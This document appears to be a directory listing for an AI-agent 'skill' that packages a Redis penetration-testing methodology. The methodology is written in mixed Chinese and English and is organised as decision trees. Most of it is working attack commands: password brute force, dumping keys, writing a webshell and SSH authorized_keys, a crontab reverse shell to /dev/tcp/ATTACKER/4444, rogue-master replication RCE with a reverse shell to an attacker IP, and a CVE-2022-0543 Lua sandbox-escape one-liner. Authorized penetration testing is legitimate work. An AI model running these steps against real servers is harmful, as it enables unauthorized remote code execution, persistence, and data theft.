SuperAPI AI Directory

redis-pentesting

Security & auditing

View repository

Updated 10-16 04:41

About this skill

Redis penetration testing methodology (6379)

In-depth reference


Overall decision tree

发现 6379 端口开放
├─ Phase 1: 服务发现
│   ├─ Nmap 脚本扫描 -> 版本信息
│   ├─ 手动连接测试 (nc / redis-cli)
│   └─ 是否需要认证?
│       ├─ 无认证 -> 直接进入 Phase 3
│       └─ 需认证 -> Phase 2
├─ Phase 2: 认证与爆破
│   ├─ 默认密码尝试
│   ├─ 爆破 (hydra / nmap / medusa)
│   └─ AUTH <username> <password>
├─ Phase 3: 信息提取
│   ├─ INFO -> 系统信息、版本、内存、keyspace
│   ├─ CONFIG GET * -> 配置信息 (目录、文件名)
│   ├─ CLIENT LIST -> 连接客户端
│   └─ 数据库遍历 -> SELECT / KEYS * / GET
├─ Phase 4: 文件写入利用
│   ├─ Webshell 写入 (需知 Web 根目录)
│   ├─ SSH authorized_keys 写入
│   ├─ Crontab 写入
│   └─ 模板引擎覆盖
├─ Phase 5: 主从复制 RCE
│   ├─ redis-rogue-server -> 自动化 RCE
│   └─ 手动 SLAVEOF + MODULE LOAD
├─ Phase 6: Lua 沙箱逃逸
│   ├─ CVE-2022-0543 (Debian/Ubuntu lua 库逃逸)
│   ├─ CVE-2025-49844 (parser UAF)
│   ├─ CVE-2025-46817 (unpack 整数溢出)
│   └─ CVE-2025-46818 (元表跨用户代码执行)
└─ SSRF 场景
    └─ 通过 SSRF 与 Redis 通信 (CRLF 注入)

Phase 1: Service discovery

1.1 Automatic enumeration

# Nmap Redis 信息脚本
nmap --script redis-info -sV -p 6379 <IP>

# Metasploit
msf> use auxiliary/scanner/redis/redis_server

1.2 Manual connection

# nc 直接连接
nc -vn <IP> 6379

# redis-cli 连接
redis-cli -h <IP>

# 第一个命令: INFO
# 如果返回 -NOAUTH Authentication required. 则需要认证

Phase 2: Authentication and brute force

2.1 Redis authentication mechanisms

Redis has no authentication by default. It can be configured with password only (requirepass) or username+password (masteruser)。

# 认证命令
AUTH <password>
AUTH <username> <password>
# 成功返回 +OK

2.2 Credential attack decision tree

认证测试
├─ 直接连接 -> INFO
│   ├─ 返回信息 -> 无需认证 -> Phase 3
│   └─ 返回 -NOAUTH -> 需要认证
├─ 爆破
│   ├─ hydra -P passwords.txt redis://<IP>
│   ├─ nmap --script redis-brute -p 6379 <IP>
│   └─ medusa -h <IP> -P passwords.txt -M redis
└─ 认证成功
    └─ 进入 Phase 3

Phase 3: Information extraction

3.1 Basic information gathering

INFO                        # 系统、版本、内存、keyspace 信息
CLIENT LIST                 # 当前连接的客户端
CONFIG GET *                # 获取所有配置
CONFIG GET dir              # 当前工作目录 (文件写入关键)
CONFIG GET dbfilename       # 数据库文件名

3.2 Database traversal

INFO keyspace               # 查看哪些数据库有数据
SELECT <db_number>          # 切换数据库 (从 0 开始)
KEYS *                      # 列出所有键
GET <key>                   # 获取字符串值
TYPE <key>                  # 获取键类型
LRANGE <key> 0 -1           # 列表类型
HGETALL <key>               # 哈希类型
DUMP <key>                  # 序列化导出

3.3 Real-time monitoring

MONITOR                     # 实时监控所有命令 (可捕获凭据)
SLOWLOG GET 25              # 最慢的 25 条查询

Phase 4: File writing exploitation

4.1 Writing decision tree

CONFIG GET dir 获取当前目录
├─ 有 Web 服务
│   └─ Webshell 写入
│       ├─ CONFIG SET dir /usr/share/nginx/html
│       ├─ CONFIG SET dbfilename redis.php
│       ├─ SET test "<?php phpinfo(); ?>"
│       └─ SAVE
├─ 有 SSH 服务
│   └─ SSH 密钥写入
│       ├─ 生成 SSH 密钥对: ssh-keygen -t rsa
│       ├─ 写入公钥: SET ssh_key "\n\n<公钥内容>\n\n"
│       ├─ CONFIG SET dir /var/lib/redis/.ssh (或 /home/<user>/.ssh)
│       ├─ CONFIG SET dbfilename authorized_keys
│       └─ SAVE
├─ Linux 系统
│   └─ Crontab 写入
│       ├─ SET cron "\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n"
│       ├─ CONFIG SET dir /var/spool/cron/crontabs/ (Ubuntu)
│       │   或 CONFIG SET dir /var/spool/cron/ (CentOS)
│       ├─ CONFIG SET dbfilename root
│       └─ SAVE
└─ 模板引擎环境
    └─ 覆盖模板文件 -> 注入模板表达式 -> RCE

4.2 Webshell writing

redis-cli -h <IP>
> CONFIG SET dir /usr/share/nginx/html
> CONFIG SET dbfilename redis.php
> SET test "<?php phpinfo(); ?>"
> SAVE

4.3 SSH key writing

# 1. 生成密钥
ssh-keygen -t rsa -f /tmp/redis_rsa

# 2. 导入公钥到 Redis
(echo -e "\n\n"; cat /tmp/redis_rsa.pub; echo -e "\n\n") > /tmp/spaced_key.txt
cat /tmp/spaced_key.txt | redis-cli -h <IP> -x set ssh_key

# 3. 写入 authorized_keys
redis-cli -h <IP>
> CONFIG SET dir /var/lib/redis/.ssh
> CONFIG SET dbfilename authorized_keys
> SAVE

# 4. SSH 登录
ssh -i /tmp/redis_rsa redis@<IP>

Phase 5: Master-slave replication RCE

5.1 Principle

Set the target Redis as a slave of an attacker-controlled master, push a malicious .so module through replication, then load and execute it.

5.2 Automated exploitation

# redis-rogue-server — 自动获取 shell (Redis <= 5.0.5)
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP>

5.3 Manual exploitation

# 1. 编译恶意模块
# https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

# 2. 让目标成为 slave
redis-cli -h <TARGET>
> SLAVEOF <ATTACKER_IP> 6379

# 3. 在攻击者 Redis 上设置模块数据
# 4. 加载模块
> MODULE LOAD /path/to/module.so
> system.exec "id"
> system.rev <ATTACKER_IP> 9999

# 5. 清理
> MODULE UNLOAD mymodule
> SLAVEOF NO ONE

Phase 6: Lua sandbox escape

6.1 Escape decision tree

Redis 版本已知 + 可执行 EVAL
├─ Debian/Ubuntu + Redis < 6.2.x 修补前
│   └─ CVE-2022-0543 — package.loadlib 逃逸
├─ Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20
│   ├─ CVE-2025-49844 — Lua parser UAF (GC 竞态)
│   ├─ CVE-2025-46817 — unpack 整数溢出 (DoS/内存耗尽)
│   └─ CVE-2025-46818 — 元表污染 (跨用户代码执行)
└─ 其他版本
    └─ searchsploit redis lua

6.2 CVE-2022-0543

# Debian/Ubuntu 特定: lua 库未正确沙箱化
redis-cli -h <IP> EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

SSRF combined exploitation

When an SSRF vulnerability is found and Redis exists on the target's internal network, Redis commands can be sent through SSRF:

SSRF + Redis
├─ Redis 为明文协议 -> 可通过 HTTP 请求注入命令
├─ 利用 CRLF 注入构造 Redis 命令
└─ 典型场景: Gitlab SSRF + CRLF -> Redis queue -> RCE